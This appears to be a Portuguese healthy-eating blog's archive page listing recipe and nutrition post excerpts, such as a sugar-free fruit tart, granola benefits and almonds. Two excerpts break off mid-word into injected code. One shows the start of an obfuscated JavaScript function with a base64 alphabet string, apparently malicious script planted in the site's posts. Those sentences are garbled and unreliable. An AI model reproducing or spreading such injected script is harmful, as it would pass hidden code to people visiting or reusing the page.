Tarte de frutos vermelhos – Uma sobremesa sem açúcar

Abr 26, 2017 | Receitas

Tarte de frutos vermelhos – Uma sobremesa sem açúcar   Hoje trago-lhe uma receita de tarte de frutos vermelhos que poderá comer sem culpa. O melhor desta receita é que não tem açúcares refinados. Se é verdade que a um docinho de vez em qufunction...

7 benefícios da granola + receita pequeno-almoço completo

Abr 25, 2017 | Dicas úteis, Faça você mesmo, Receitas

7 benefícios da granola + receita pequeno-almoço completo     Cada vez recebo mais mensagens a pedir boas receitas de pequenos-almoços, pelo que hoje vou falar-lhe acerca dos benefícios da granola. Antes de mais, sabe o que é a granola? É uma mistura deliciosa de...

Bolo de fruta na caneca sem farinha e sem culpa

Mar 12, 2017 | Receitas

Bolo de fruta na caneca sem farinha e sem culpa     Comer um docinho sabe sempre bem e, para quem está de dieta, é tãoooo difícil de resistir à tentação! Hoje trago-lhe uma boa novidade: a receita de um bolo de fruta na caneca sem farinha e sem culpa! Sem culpa porque...

Uma refeição rápida para quando chega tarde a casa

Mar 8, 2017 | Dicas úteis, Receitas

Uma refeição rápida para qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

10 alimentos com propriedades afrodisíacas

Fev 13, 2017 | Apanhados na rede, Olha que giro

10 alimentos com propriedades afrodisíacas   Já lhe falei dos inúmeros benefícios de alguns alimentos para a nossa saúde mas ainda não lhe falei deste tema. Sabia que existem alimentos, que segundo os entendidos, podem ajudar a apimentar a sua relação? Afinal de...

Duas sobremesas doces para todos

Nov 26, 2016 | Dicas úteis, Equilíbrio, Faça você mesmo, Receitas, Saúde e bem estar

Duas sobremesas doces para todos Bolachas de Amêndoa e Mirtilos   Ingredientes para 25 bolachas: 200 g flocos de aveia 200 g amêndoa 2 c. sopa mel 1 c. chá fermento em pó 1 ovo batido 3 c. sopa óleo vegetal 2 c. chá essência baunilha q.b. mirtilos 4 nozes Preparação:...

benefícios das amêndoas

Out 10, 2016 | À descoberta, Dicas úteis

Quem ADORA amêndoas levante o braço! É verdade, hoje chegou o dia de lhe mostrar os benefícios das amêndoas. Para além de as comermos tradicionalmente na época da Páscoa, as amêndoas são um superalimento que deve ser consumido todo o ano! Em quantidades moderadas elas...